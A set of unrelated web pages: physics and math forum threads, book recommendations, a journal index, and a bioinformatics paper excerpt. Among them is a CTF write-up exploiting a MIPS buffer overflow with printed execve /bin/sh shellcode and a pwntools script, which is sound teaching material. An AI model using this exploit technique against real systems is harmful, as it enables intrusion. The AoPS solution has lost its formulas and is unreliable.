single-particle interpretation in terms of wave functions as is possible in non-relativistic Schrödinger wave mechanics is not possible. It even leads to contradictions with causality for free particles. That's why Dirac has been forced to his "hole-theory interpretation", leading him (after some quibbles) to the prediction of the existence of antiparticles (particularly the positron as the electron's antiparticle). However, hole theory, i.e., the interpretation of the vacuum states as the one, where the single-free-particle states with negative frequency are occupied, and the holes in this "Dirac see" as antiparticles is in fact a many-body reinterpretation, which is better stated from the very beginning as quantum-field theory, which describes situations, where the particle number needs not be conserved. For interacting particles it's even highly non-trivial to define an observable, describing a "particle number" at all. That's why a good lecture on relativistic quantum theory is taught as quantum field theory right from the beginning. In my opinion, it's even a much better didactical approach in non-relativistic quantum theory, i.e., in the introductory lectures, not to use the historical way and introduce quantum theory as "wave mechanics". One has to do so to a certain extent to heuristically justify the (in the first encounter) very abstract formulation in terms of states (Hilbert-space rays/statistical operators) and the representation of observables with self-adjoint operators, but this is the best way to present quantum theory as early as possible. Also the predominance of solving bound-state problems (often in terms of wave mechanics) in the introductory QT lectures can mislead students to think about these as the only physically meaningful solutions, thereby missing the more general formulation of dynamics. All this is of course not possible for the treatment of modern physics in highschools. Here one must stay qualitative to a large extent, and the cited article has to be taken with a very large grain of salt. It's for sure not correct, but it's also not really wrong. I admit, it's a dilemma, how to teach quantum mechanics at the high-school level, because most mathematical tools necessary to solve the Schrödinger equation in these bound-state problems are not available. However, one should be careful not to teach wrong or "semi-right" things. The worst case has been my own high-school experience (Germany, Abitur 1990), where for the largest time we learned about the Bohr model of the hydrogen atom with it's electron orbits around the nucleus, which is simply plain wrong and has to be corrected afterwards. This time would have been much better spent, introducing modern quantum theory right away, and be it only in a qualitative (but correct!) way. Fortunately we have had a good teacher, who gave also an introduction to the Schrödinger equation afterwards and telling us, what's wrong with "old quantum theory", but many high-school students don't have good teachers and then they only get this Bohr-orbit stuff. At the university you then have a hard time to forget again these wron pictures! 3. Dec 18, 2012 ### DiracPool 4. Dec 18, 2012 ### DrDu I am not quite sure about the meaning of the statement either: Even accepting that there is no position operator for photons, I do not quite see why this precludes writing down a wavefunction although maybe only in momentum space. In QFT for a free photon field you have a Fock space with a vacuum vector |0> and hence also all kind of n-particle vectors which can be obtained by acting with various $a_{k\sigma}^+$ on it. I don't see any reason why not to call these vectors "momentum space wavefunctions". Last edited: Dec 18, 2012 5. Dec 18, 2012 ### andrien there is an argument by dirac about integral spin particles which states that momentum representation is sufficient for integral spin particles such as photon and there is no coordinate representation of these particles. He was talking about dirac eqn or I should say his own eqn. 6. Dec 18, 2012 ### Demystifier You are right, it is fully justified to call it momentum-space wave function. You can also take the Fourier transform of it and get something like a position-space "wave function", but physically it has a somewhat different interpretation than wave function in non-relativistic QM. 7. Dec 18, 2012 ### Lucien1011 What do you mean by the word wavefunction? I guess you can always go to the classical limit, where you have classical fields for photons. 8. Dec 19, 2012 ### vanhees71 Usually the wave function of a particle is the position representation of a pure quantum state. Of course for particles with non-vanishing spin this wave function has also a spin (or polarization) index. The physical interpretation of such wave functions is clear in the non-relativistic case via Born's rule: The modules squared of the wave function is the probability density to find a particle at the point given by the spatial coordinates with the spin given by the spin index (usually meaning that the spin-z component is $\sigma$ with $\sigma \in \{-s,-s+1,\ldots,s \}$. This interpretation fails in the relativistic case. For photons, i.e., massless particles with spin 1, you cannot even define such a wave function formally since there is no position operator for photons. Thus the notion of a wave function for photons is not even defineable! 9. Dec 19, 2012 ### DrDu Yes, but this argument does not exclude the possibility to define a wavefunction in momentum representation? 10. Dec 20, 2012 ### andrien that is what is necessarily dirac's argument I have provided. 11. Dec 27, 2012 ### mpv_plate Photons can be detected at a specific location (for instance on a CCD pixel or rods/cones of a retina). Is that detected position an eigenvalue of some operator? That operator would be a position operator, but at the same time it is said that there is no position operator for photon and that position of a photon is not an observable. Do I understand something wrong? 12. Dec 28, 2012 ### Demystifier In modern literature, measurements which can be described in terms of collapse into an eigenstate of an operator are referred to as projective measurements. There are also more general measurements described in terms of positive operator valued measures (POVM), which are not projective measurements. Measurement of position of the photon is an example of such a more general measurement. See e.g. http://arxiv.org/abs/1007.0460 13. Dec 29, 2012 ### DrDu Seemingly not, as the photon is destroyed in the process of measurement.
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http://openstudy.com/updates/51745b83e4b0050fabb9497c
## A community for students. Sign up today Here's the question you clicked on: 55 members online • 0 replying • 0 viewing ## Grazes 2 years ago A telephone pole 35 feet high is situated on a 11 degree slope from the horizontal. The measure of angle CAB is 21 degrees. Find the length of AC. Delete Cancel Submit • This Question is Closed 1. Grazes • 2 years ago Best Response You've already chosen the best response. 0 |dw:1366580105267:dw| 2. cybergurken • 2 years ago Best Response You've already chosen the best response. 0 is that the actual sketch coz with that u cant do much 3. cybergurken • 2 years ago Best Response You've already chosen the best response. 0 oh sorry... 4. Grazes • 2 years ago Best Response You've already chosen the best response. 0 yep 5. Grazes • 2 years ago Best Response You've already chosen the best response. 0 I believe you need to use the law of sines 6. cybergurken • 2 years ago Best Response You've already chosen the best response. 0 do you know the sin rule or cos rule for trig??? 7. Grazes • 2 years ago Best Response You've already chosen the best response. 0 |dw:1366580369646:dw| 8. cybergurken • 2 years ago Best Response You've already chosen the best response. 0 answer ##### 1 Attachment 9. Grazes • 2 years ago Best Response You've already chosen the best response. 0 no... CAB is 21 degrees 10. Grazes • 2 years ago Best Response You've already chosen the best response. 0 and you're assuming that Angle CBA is a right angle 11. eSpeX • 2 years ago Best Response You've already chosen the best response. 0 |dw:1366585349856:dw| $\frac{35}{\sin(21)} = \frac{b}{\sin(101)} \rightarrow (35)\sin(101)=b \sin(21) \rightarrow \frac{(35)\sin(101)}{\sin(21)}$ which gives me 95.87. 12. Grazes • 2 years ago Best Response You've already chosen the best response. 0 I have one problem with this. How do you know that CB is perpendicular to the horizontal-ish line A? If you don't know that, you can't assume the 90 degrees or the 11 degrees via parallel lines+transversal. 13. eSpeX • 2 years ago Best Response You've already chosen the best response. 0 I know that the pole is perpendicular because it does not say otherwise, and thus I drew the line parallel to the horizontal and created the 90. 14. Grazes • 2 years ago Best Response You've already chosen the best response. 0 |dw:1366600067027:dw| 15. eSpeX • 2 years ago Best Response You've already chosen the best response. 0 Since that is not what I did, I certainly would not use similar logic. 16. Not the answer you are looking for? Search for more explanations. • Attachments: #### Ask your own question Sign Up Find more explanations on OpenStudy Privacy Policy ## Your question is ready. Sign up for free to start getting answers. ##### spraguer (Moderator) 5→ View Detailed Profile 23 • Teamwork 19 Teammate • Problem Solving 19 Hero • You have blocked this person. • ✔ You're a fan Checking fan status... Thanks for being so helpful in mathematics. If you are getting quality help, make sure you spread the word about OpenStudy.
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http://math.stackexchange.com/questions/283539/what-is-more-elementary-than-introduction-to-stochastic-processes-by-lawler/296488
# What is more elementary than: Introduction to Stochastic Processes by Lawler I have trouble to reading this book! What book is more elementary/preliminary than this book: Introduction to Stochastic Processes by Lawler - It is very difficult to answer your question with the information given. These might be more gentle and the last one uses Maple. $\bullet$ Introduction to Stochastic Processes, Paul Gerhard Hoel, Sidney C. Port, Charles J. Stone $\bullet$ Adventures in Stochastic Processes, Sidney I. Resnick $\bullet$ An Introduction to Stochastic Processes and Their Applications, Petar Todorovic $\bullet$ An Introduction to Stochastic Processes, Edward P. C. Kao $\bullet$ Informal Introduction to Stochastic Processes with Maple, Jan Vrbik, Paul Vrbik Maybe if you can describe what issues you are having, we could provide more guidance. There are also some older books that are excellent, but I am not at home and the titles are escaping me. Regards - Thanks you, i just need some easier book on the subject to read +1 :) – Victor Jan 21 '13 at 16:30 @Victor: You are welcome! For most students, being able to see actual working code and examples and to play with them is very helpful and instructive, so if you have Maple, I would go with the last as that will provide you with an experimental approach. This will help to solidify the theory for the text you are using. Regards – Amzoti Jan 21 '13 at 16:35 Nice suggestions, and I like your follow-up recommendation! Combine hands-on + theoretical! – amWhy May 7 '13 at 1:10 @amWhy: For classes in Stochastic Processes, I cannot tell you how important this is to the learning process. We have so many more wonderful tools to help in this regard (kids today can be so spoiled)! :-) – Amzoti May 7 '13 at 1:14 • Look through the entry for Stochastic process in Wikipedia. You'll find some references and suggestions for further reading. • Another possibility is to go to a university library, search for "stochastic processes", and sit down to browse through the books available, to see which among them suit your needs. Bring the text you refer to with you, and compare how various texts differ in their coverage and explanations that you find too difficult to comprehend as given in your current text. • You might want to download the text (available in pdf from Prof. Oliver Knill at Harvard) on "Probability and Stochastic Processes with Applications.". You can compare the text with yours, with no cost to you! • One additional possibility to consider, which you can preview, is Introduction to Stochastic Processes, by Hoel, Port, and Stone. Peruse the table of contents, and sample the writing to help you determine if you think this might suit your needs. - Stochastic calculus is quite a different topic than classical introductory stochastic processes. I'm not familiar with the Klebaner text, but judging by the table of contents, the intersection in subject matter with Lawler is fairly minimal. – cardinal Jan 21 '13 at 17:38 Thanks for pointing that out, @cardinal! – amWhy Jan 21 '13 at 17:48 You're welcome. Cheers. :) – cardinal Jan 21 '13 at 19:16 Applied Stochastic Processes in science and engineering by Matt Scott from the University of Waterloo is free online. It emphasizes ideas and methods. http://www.math.uwaterloo.ca/~mscott/Little_Notes.pdf - Stochastic processes by Sheldon Ross is very elementary: A nonmeasure theoretic introduction to stochastic processes. Considers its diverse range of applications and provides readers with probabilistic intuition and insight in thinking about problems. -
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http://mathhelpforum.com/calculus/64928-derivs-heeelp.html
1. ## Derivs heeelp f(x)=[(x+2)/(x+1)](2x-7) I keep getting [-2x^2+7x-3] / (x+1) but that is not one of the answer choices. Also, (x-2)/sqrt(x^2-1) Find an equation for the tan line to the graph f at the point P(pi/4, f(pi/4)) when f(x)=9tan x Let f(x) = (4x-1)^6(3x+3)^2 Find the x-intercept of the tan line to the graph of f at the pt where the graph of f crosses the y-axis 2. Hi Originally Posted by bballa273 f(x)=[(x+2)/(x+1)](2x-7) I keep getting [-2x^2+7x-3] / (x+1) but that is not one of the answer choices. this is indeed really hard First: Quotient rule $[(x+2)/(x+1)]' = \frac{1*(x+1)-1*(x+2)}{(x+1)^2}=:v'$ ---- (2x-7)' = 2 =: u' Product rule (u*v)' = u'*v + v'*u and so on... But it is much easier, if you multiply (x+2)(2x-7) first. Then you only must use the quotient rule Originally Posted by bballa273 Also, (x-2)/sqrt(x^2-1) quotient rule: $(\frac{u}{v})' = \frac{u'*v-v'*u}{v^2}$ here: u= x-2 => u'=1 $v = \sqrt{x^2-1} = (x^2-1)^{0.5}$ $v' = 0.5 * 2x * (x^2-1)^{-0.5}$ ... Originally Posted by bballa273 Find an equation for the tan line to the graph f at the point P(pi/4, f(pi/4)) when f(x)=9tan x Let f(x) = (4x-1)^6(3x+3)^2 Find the x-intercept of the tan line to the graph of f at the pt where the graph of f crosses the y-axis I dont know. Maybe someone else does Rapha 3. Originally Posted by bballa273 [snip] Find an equation for the tan line to the graph f at the point P(pi/4, f(pi/4)) when f(x)=9tan x [snip] You know two things about the line: 1. Point on line is $\left(\frac{\pi}{4}, \, 9 \right)$ (why?) 2. Gradient of line is $9 \sec^2 \left( \frac{\pi}{4} \right) = \, ....$ (why?) So you should be able to get the equation of the line. 4. Originally Posted by bballa273 [snip] Let f(x) = (4x-1)^6(3x+3)^2 Find the x-intercept of the tan line to the graph of f at the pt where the graph of f crosses the y-axis 1. Find the y-intercept of y = f(x). This gives you a known point on the tangent line. 2. Evaluate the derivative of f(x) at the y-intercept. This gives you the gradient of the tangent line. 3. Use 1. and 2. to get the equation of the tangent line. 4. Use the equation in 3. to get the x-intercept of the tangent.
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http://elib.mi.sanu.ac.rs/pages/browse_issue.php?db=bimvi&rbr=1
eLibrary of Mathematical Instituteof the Serbian Academy of Sciences and Arts > Home / All Journals / Journal / Bulletin of International Mathematical Virtual InstitutePublisher: International Mathematical Virtual Institute, Banja LukaISSN: 2303-4874Issue: 1_1Date: 2011Journal Homepage Computing The Scattering Number and The Toughness for Gear Graphs 1 - 11 Ersin Aslan and Alpay Kirlangic AbstractKeywords: connectivity; network design and communication; vulnerability; scattering number; toughness; gear graphMSC: 05C40, 68M10, 68R10 Multiplicative Zagreb Indices of Trees 13 - 19 Ivan Gutman AbstractKeywords: Zagreb indices; multiplicative Zagreb indices; degree of vertex; treeMSC: 05C05, 05C35 Dedekind Partial Groupoids for Anti-Ordered Sets 21 - 26 Daniel A. Romano AbstractKeywords: constructive mathematics; set with apartness; anti-ordered set; Dedekind partial groupoidMSC: 03F65 06A06, 06A11 Common Fixed Point Theorems for Four Weakly Compatible Mappings in Menger Spaces 27 - 38 R. A. Rashwan and S. I. Maustafa AbstractKeywords: T-norm; Menger space; Common fixed point; compatible maps; weak-compatible mapsMSC: 47H10, 54H25 Complement Free Domination Number of a Bipartite Graph 39 - 43 Y. B. Venkatakrishnan and V. Swaminathan AbstractKeywords: bipartite graph; complement free dominating set; Y-dominating set; X-dominating set.MSC: 05C69 A Common Fixed Point Theorem of Two Random Operators Using Random Ishikawa Iteration Scheme 45 - 51 R. A. Rashwan AbstractKeywords: Ishikawa iteration; fixed points; measurable mappings; contractive mappings; separable Banach spacesMSC: 47H10, 54H25 On the Hyers-Ulam Stability of Pexider-Type Extension of the Jensen-Hosszú Equation 53 - 57 Zygfryd Kominek AbstractKeywords: Jensen-Hosszú functional equation; Hyers-Ulam stabilityMSC: 39B82 39B62, 26A51 On $(\gamma, \gamma')$-connected spaces 59 - 65 N. Rajesh and V. Vijayabharathi AbstractKeywords: topological spaces; $(\gamma, \gamma')$-open setMSC: 54A05, 54A10, 54D10 Remote Address: 18.206.12.79 • Server: elib.mi.sanu.ac.rsHTTP User Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
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http://www.talkstats.com/tags/bland-altman-2/
# bland altman 1. ### 95% CI of Limits of agreement (Bland Altman plot) May I ask how to find 95% confidence interval of the limit of agreement (in Bland Altman Plot) in SPSS? Thanks!
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https://www.aperikube.fr/docs/breizhctf_2018/mips/
# MIPS BreizhCTF 2018 - Pwn (400 pts). # BreizhCTF 2018: MIPS Event Challenge Category Points Solves BreizhCTF 2018 MIPS Pwn 400 3 - 4 Sources: Easy MIPS by ChaignC on GitHub ### TL;DR This writeup is about binary exploitation challenge named MIPS @BreizhCTF2018. As its name suggests, the challenge is a MIPS vulnerable program. It decodes URL which is given by the user. There is a bug in urldecode function which leads us to a buffer overflow vulnerability. ### Setup the environment To prepare quickly a MIPS environment, you can use arm_now (https://github.com/nongiach/arm_now.git) • --sync option allows to import files in work directory into your environement $arm_now start mips32el --sync [...] Welcome to arm_now buildroot login: root ./install_pkg_manager.sh opkg install strace ### Vulnerability The program processes client HTTP request, it reads up to 1023 bytes from stdin. The buffer is 1024 bytes long, there is no vulnerability here. void baby_http() { char request[1024]; while (42) { int size = read(0, request, 1023); request[size] = 0; handle_client(request); } } If the HTTP request is a GET, the binary will extract the URL into buffer (named url) using urldecode function. void handle_client(char request[]) { char url[32]; if (!strncmp(request, "GET ", 4)) { if (strlen(request + 4) < sizeof(url)) { urldecode(url, request + 4); printf(not_found, url); fflush(stdout); } } } The following piece of code is the urldecode function. It copies a source string into a destination buffer and decodes URL encoded characters like %0A and %0B. void urldecode(char *dst, const char *src) { char a, b; while (*src) { if (*src == '%') { a = src[1]; b = src[2]; if (isxdigit(a) && isxdigit(b)) { if (a >= 'a') a -= 'a'-'A'; if (a >= 'A') a -= ('A' - 10); else a -= '0'; if (b >= 'a') b -= 'a'-'A'; if (b >= 'A') b -= ('A' - 10); else b -= '0'; *dst++ = 16*a+b; } src+=3; } else if (*src == '+') { *dst++ = ' '; src++; } else { *dst++ = *src++; } } *dst++ = '\0'; } urldecode copies char by char the string into the destination buffer until it meets a null byte (like a strcpy ;)). while (*src) { [...] *dst++=*src++; [...] This is the first vulnerability but it can’t be exploited directly because the length of URL is checked before calling urldecode. if (strlen(request + 4) < sizeof(url)) There is a second bug: urldecode increments src pointer even if characters after '%' are not hexadecimal digits. if (*src == '%') { a = src[1]; b = src[2]; if (isxdigit(a) && isxdigit(b)) { [...] } src+=3; ### Exploitation So you can put a % to jump over a null byte (which indicates the end of a string) to bypass the URL length verification. The urldecode function will continue to copy characters until it reaches another null byte. In MIPS architecture when you call a function (as following), the return address is stored in$ra register. jal handle_client As you can see in the assembly code, return address ($ra) and frame pointer ($fp) are saved into stack. If you are not particularly familiar with MIPS assembly (like me ;)) you can see the details of instructions at http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html. • sw (store a word) handle_client: addiu $sp, -0x40 sw$ra, 0x3C($sp) sw$fp, 0x38($sp) move$fp, $sp The buffer is 32 bytes length. [...] addiu$v0, $fp, 0x18 move$a0, $v0 jal urldecode Which give us the following stack schema (at instruction jal urldecode): So we need to put 32 + 4 bytes into URL buffer to control$ra. Let’s check if the binary has an executable stack: \$ checksec vuln Arch: mips-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments You can execute something in stack, but the URL buffer is very small. The request buffer is 1024 bytes long and isn’t cleared after each request. You can use it to insert a NOP sled following by a shellcode. The exploit is divided in two step: • insert NOP and shellcode into request buffer • trigger the vulnerability #### Step 1 In MIPS architecture NOP can be represented as the following instruction: nor t6,t6,zero => "\x27\x70\xc0\x01" You can easily find “preassembled” shellcode for mips: http://shell-storm.org/shellcode/files/shellcode-80.php Let’s script exploit with pwntools: from pwn import * # MIPS Shellcode execve /bin/sh http://shell-storm.org/shellcode/files/shellcode-80.php shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00" p = remote("breizhctf.serveur.io",4242) print(p.recvuntil("@chaign_c")) # step 1 put NOP + shellcode into request buffer The beginning of NOP sled will be overwritten by the second payload but there is enough space to have a reliable exploit. #### Step 2 You can approximate the remote address of the request buffer by running strace in your environment (ASLR is off on target machine): [...] write(1, "BabyHttp brought to you by @chai"..., 37BabyHttp brought to you by @chaign_c ) = 37 urldecode will skip 3 bytes because of % character and it will start copy at src+3. So we need to put "GET " following by 35 bytes into the request buffer to trigger the vulnerability in handle_client. It will overwrite a small part of the NOP sled into the request buffer. Build and send the second payload with python:
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http://maierandi.wikidot.com/classical-limit-of-quantum-mechanics
Classical limit of quantum mechanics • An increasing mass can be seen as an increase in the number $N$ of involved particles with mass $m_0$. So is the limit of a $N$-particle quantum system for $N\rightarrow\infty$ a classical system??
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https://artofproblemsolving.com/wiki/index.php?title=Solution_to_AM_-_GM_Introductory_Problem_2&diff=122376&oldid=122374
# Difference between revisions of "Solution to AM - GM Introductory Problem 2" ### Problem Find the maximum of for all positive . ### Solution We can rewrite the given expression as . To maximize the whole expression, we must minimize . Since is positive, so is . This means AM - GM will hold for and . By AM - GM, the arithmetic mean of and is at least their geometric mean, or . This means the sum of and is at least . We can prove that we can achieve this minimum for by plugging in by solving for . Plugging in into our original expression that we wished to maximize, we get that , which is our answer.
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https://academic.oup.com/bioinformatics/article/26/12/i367/286190/Efficient-construction-of-an-assembly-string-graph
## Abstract Motivation: Sequence assembly is a difficult problem whose importance has grown again recently as the cost of sequencing has dramatically dropped. Most new sequence assembly software has started by building a de Bruijn graph, avoiding the overlap-based methods used previously because of the computational cost and complexity of these with very large numbers of short reads. Here, we show how to use suffix array-based methods that have formed the basis of recent very fast sequence mapping algorithms to find overlaps and generate assembly string graphs asymptotically faster than previously described algorithms. Results: Standard overlap assembly methods have time complexity O(N2), where N is the sum of the lengths of the reads. We use the Ferragina–Manzini index (FM-index) derived from the Burrows–Wheeler transform to find overlaps of length at least τ among a set of reads. As well as an approach that finds all overlaps then implements transitive reduction to produce a string graph, we show how to output directly only the irreducible overlaps, significantly shrinking memory requirements and reducing compute time to O(N), independent of depth. Overlap-based assembly methods naturally handle mixed length read sets, including capillary reads or long reads promised by the third generation sequencing technologies. The algorithms we present here pave the way for overlap-based assembly approaches to be developed that scale to whole vertebrate genome de novo assembly. Contact:js18@sanger.ac.uk ## 2 BACKGROUND Restated, BX[i] is the symbol preceding the first symbol of the suffix starting at position SAX[i]. Ferragina and Manzini Ferragina and Manzini (2000) extended the BWT representation of a string by adding two additional data structures to create a structure known as the FM-index. Let CX(a) be the number of symbols in X that are lexographically lower than the symbol a and OccX(a, i) be the number of occurrences of the symbol a in BX[1, i]. We note that CX and OccX include counts for the sentinel symbol, $. Using these two arrays, Ferragina and Manzini provided an algorithm to search for a string Q in X (Ferragina and Manzini, 2000). Let S be a string whose suffix array interval is known to be [l, u]. The interval for the string aS can be calculated from [l, u] using CX and OccX by the following: (1) (2) We encapsulate Equations (1) and (2) in the following algorithm, updateBackward. To search for a string Q, we need to first calculate the interval for the last symbol in Q then use Equations (1) and (2) to iteratively calculate the interval for the remainder of Q. The interval for a single symbol is simply calculated from CX. The backwardsSearch algorithm presents the searching procedure in detail. If backwardsSearch returns an interval where l>u, Q is not contained in X otherwise SAX[i] is the position in X of each occurrence of Q for liu. The backwardsSearch algorithm requires updating the suffix array interval |Q| times. As each update is a constant-time operation, the complexity of backwardsSearch is O(|Q|). To save memory OccX(a, i) is stored only for i divisible by d (typically d is around 128). The remaining values of OccX can be calculated as needed using the sampled values and BX. ### 2.5 The generalized suffix array We can easily expand the definition of a suffix array to include multiple strings. Let 𝒯 be an indexed set of strings and 𝒯i be element 𝒯[i]. We define SA𝒯[i]=(j, k) iff 𝒯j[k, |𝒯j|] is the i-th lowest suffix in 𝒯. In the generalized suffix array, unlike the suffix array of a single string, two suffixes can be lexographically equal. We break ties in this case by comparing the indices of the strings. In other words, we treat each string in 𝒯 as if it was terminated by a unique sentinel character$i where $i<$j when i<j. We extend the definition of the BWT to collections of strings as follows. Let SA𝒯[i]=(j, k) then Like the BWT of a single string, B𝒯 is a permutation of the symbols in 𝒯; therefore, the definitions of the auxiliary data structures for the FM-index, C𝒯(a) and Occ𝒯(a, i), do not change. ## 3 METHODS The construction of the string graph occurs in two stages. First, the complete set of overlaps of length at least τ is computed for all elements of ℛ. The initial overlap graph is then built as described in Section 2.3 and transformed into the string graph using the linear expected time transitive reduction algorithm of Myers Myers (2005). The first step in this process is the computational bottleneck. The all-pairs maximal overlap problem can be optimally solved in O(N+k2) time using a generalized suffix tree where N=∑i=1|ℛ||ℛi| and k=|ℛ| (Gusfield, 1997). It is straightforward to restrict this algorithm to only find overlaps of length at least τ at a lower computational cost; however, the amount of memory required for a suffix tree makes this algorithm impractical for large datasets. Myers' proposed the use of a q-gram filter to find the complete set of overlaps. This requires O(N2/D) time where D is a time-space tradeoff factor dependent on the amount of memory available. We will show that by using the FM-index of ℛ the set of overlaps can be computed in O(N+C) time for error-free reads where C is the total number of overlaps found. We then provide an algorithm that detects only the overlaps for irreducible edges—removing the need for the transitive reduction algorithm and allowing the direct construction of the string graph. ### 3.1 Building an FM-index from a set of sequence reads To build the FM-index of ℛ, we must first compute the generalized suffix array of ℛ. We could do this by creating a string that is the concatenation of all members of ℛ, S=ℛ12…ℛm and then use one of the well-known efficient suffix array construction algorithms to compute SAS (Puglisi et al., 2007). We have adopted a different strategy and have modified the induced-copying suffix array construction algorithm (Nong et al., 2009) to handle an indexed set of strings ℛ where each suffix array entry is a pair (j, k) as described in Section 2.5. This suffix array construction algorithm is similar to the Ko–Aluru algorithm (Ko and Aluru, 2005). A set of substrings of the text (termed LMS substrings for leftmost S-type, see Nong et al., 2009) is sorted from which the ordering of all the suffixes in the text is induced. Our algorithm differs from the Nong–Zhang–Chan algorithm as we directly sort the LMS substrings using multikey quicksort (Bentley and Sedgewick, 1997) instead of sorting them recursively. This method of construction is very fast in practice as typically only 30−40% of the substrings must be directly sorted. Once SA has been constructed, the BWT of ℛ, and hence the FM-index is easily computed as described above. We also compute the FM-index for the set of reversed reads, denoted ℛ′, which is necessary to compute overlaps between reverse complemented reads. We also output the lexographic index of ℛ, which is a permutation of the indices {1, 2,…, |ℛ|} of ℛ sorted by the lexographic order of the strings. This can be found directly from SA and is used to determine the identities of the reads in ℛ from the suffix array interval positions once an overlap has been found. ### 3.2 Overlap detection using the FM-index We now consider the problem of constructing the set of overlaps between reads in ℛ. Consider two reads X and Y. If a suffix of X matches a prefix of Y an edge of type (E, B) will be created in the initial overlap graph. We will describe a procedure to detect overlaps of this type from the FM-index of ℛ. Let X be an arbitrary read in ℛ. If we perform the backwardsSearch procedure on the string X, after k steps we have calculated the interval [l, u] for the suffix of length k of X. The reads indicated by the suffix array entries in [l, u], therefore, have a substring that matches a suffix of X. Our task is to determine which of these substrings are prefixes of the reads. Recall that if a given element in the suffix array, SA[i], is a prefix then B[i]=$by definition. Therefore, if we know the suffix array interval for a string P, the interval for the strings beginning with P can be determined by calculating the interval for the string$P using Equations (1) and (2). This interval, denoted [l$, u$], indicates that the reads with prefix P are the l$-th to u$-th lexographically lowest strings in ℛ. We can, therefore, recover the indices in ℛ of the reads overlapping X using lexographic index of ℛ. The algorithm is presented below in findOverlaps. The findOverlaps algorithm is similar to the backwards search procedure presented in Section 2.4. It begins by initializing [l, u] to the interval containing all suffixes that begin with the last symbol of X. The interval [l, u] is then iteratively updated for longer suffixes of X. When the length of the suffix is at least the minimum overlap size, τ, we determine the interval for the reads that have a prefix matching the suffix of X and output an overlap record for each entry (using the subroutine outputOverlaps). When the update loop terminates, [l, u] holds the interval corresponding to the full length of X. The outputContained procedure writes a containment record for X if X is contained by any read in [l, u] based on the rules described in Section 2.3. The overlaps detected by findOverlaps correspond to edges of type (E, B). We must also calculate the overlaps for edges of type (E, E) and (B, B), which arise from overlapping reads originating from opposite strands. To calculate edges of type (E, E), we use findOverlaps on the complement of X (not reversed) and the FM-index of ℛ′. Similarly, to calculate edges of type (B, B), we use findOverlaps on (the reverse complement of X) and the FM-index of ℛ. The overlap records created by outputOverlaps are constructed in constant time as they only require a lookup in the lexographic index of ℛ. Let ci be the number of overlaps for read ℛi. The findOverlaps algorithm makes at most |ℛi| calls to updateBackwards and a total of ci iterations in outputOverlaps for a total complexity of O(|ℛi|+ci). For the entire set ℛ, the complexity is O(N+C) where C=∑i=1|ℛ|ci. Note that the majority of these edges are transitive and subsequently removed. We can, therefore, improve this algorithm by only outputting the set of irreducible edges, allowing the direct construction of the string graph. We address this in Section 3.3. In rare cases, multiple valid overlaps may occur between a pair of reads. In this case, the intervals detected during findOverlaps will contain intersecting or duplicated intervals. To handle this, we can modify findOverlaps to first collect the entire set of found intervals. This interval set could then be sorted and duplicated or intersecting intervals that represent sub-maximal overlaps can be removed. The outputOverlaps procedure can be called on the entire reduced interval set to output the set of maximal overlaps. ### 3.3 Detecting irreducible overlaps To directly construct the string graph, we must only output irreducible edges. Recall from Section 2.3 that the labels of the irreducible edges for a given read are prefixes of the labels of transitive edges. We use this fact to differentiate between irreducible and transitive edges during the overlap computation. Consider a read X and the set of reads that overlap a suffix of X, 𝒪. We could devise an algorithm to find the subset consisting only of irreducible edges by calculating the edge-labels of all members of 𝒪 and filtering out the members whose label is the extension of the label of some other read. This would require iterating over all members of 𝒪, which can be quite large for repetitive reads. We will now show that the labels of the irreducible edges can be constructed directly from the suffix array intervals using the FM-index. Consider a substring S that occurs in ℛ and its suffix array interval [l, u]. Let a left extension of S be a string of length |S| + 1 of the form aS. We can use B[l, u] to determine the set of left extensions of S. Let ℬ be the set of symbols that appear in the substring B[l, u]. The left extensions of S are the strings aS such that a∈ℬ. Note that we do not have to iterate over the range B[l, u] to determine ℬ. Since Occ(a, i) is defined to be the number of times symbol a occurs in B[1, i] we can count the number of occurances of a in B[l, u] (and hence aS in ℛ) in constant time by taking the difference Occ(a, u) − Occ(a, l−1). If the $symbol occurs in B[l, u] we say that S is left terminal, in other words one of the elements of ℛ has S as a prefix. We similarly define a right extension of S as a string of length |S| + 1 of the form Sa. While we cannot build the right extensions of S directly from the FM-index, the right extensions of S are equivalent to left extensions of S′ (the reverse of S) in ℛ′. Let S be right terminal if$ exists in Bℛ′[l′, u′], in other words S is a suffix of some string in ℛ. The procedure to find all the irreducible edges of a read X and construct their labels is to find all the intervals containing the prefixes of reads that overlap a suffix of X, then iteratively extend them rightwards until a right-terminal extension is found. The terminated read forms an irreducible edge with X and the label of the edge is the sequence of bases that were used during the right-extension. All non-terminated strings with the same sequence of extensions are transitive and, therefore, not considered further. The algorithm requires searching the FM-index in two directions, first backwards to determine the intervals of overlapping prefixes and then forwards to extend those prefixes and build the irreducible labels. Naively this would require first determining the intervals [l, u] for each matching prefix, P, and then reversing the prefix and performing a backwards search on the FM-index of ℛ′ to find the interval [l′, u′] for P′. The intervals [l′, u′] would then be used in the extension stage to determine the labels of the irreducible edges. We can do better, however, by noting that the interval [l′, u′] can be calculated directly during the backwards search without using the FM-index of ℛ′. We define OccLT(a, i) to be the number of symbols that are lexographically lower than a in B[1, i]. Let S=X[i, |X|] be a suffix of X and [li, ui] its suffix array interval. Suppose we know the interval [li′, ui′] for S′ in ℛ′. Let a=X[i−1]. The interval for Sa=[li−1′, ui−1′] is therefore (3) (4) The interval for X′[1] is identical to that of X[|X|], since B and Bℛ′ are both permutations of symbols in ℛ, therefore, C=Cℛ′. We can, therefore, initialize the interval [l′, u′] to the same initial value of [l, u] and perform a forward search of X′ simulatenously while performing a backward search of X using only the FM-index of ℛ. This does not require any additional storage as the OccLT array can easily be computed from Occ by summing the values for symbols less than a. This procedure is similar to the 2way-BWT search recently proposed by Lam et al. (2009). The updateFwdBwd algorithm implements Equations (3) and (4) along with updateBackward to calculate the pair of intervals. The ℱ parameter to updateFwdBwd indicates the FM-index used — that of ℛ or ℛ′. We now give the full algorithm for detecting the irreducible overlaps for a read X. The algorithm is performed in two stages, first a backwards search on X is performed to collect the set of interval pairs, denoted ℐ, for prefixes that match a suffix of X. This algorithm is presented in findIntervals below and is conceptually similar to 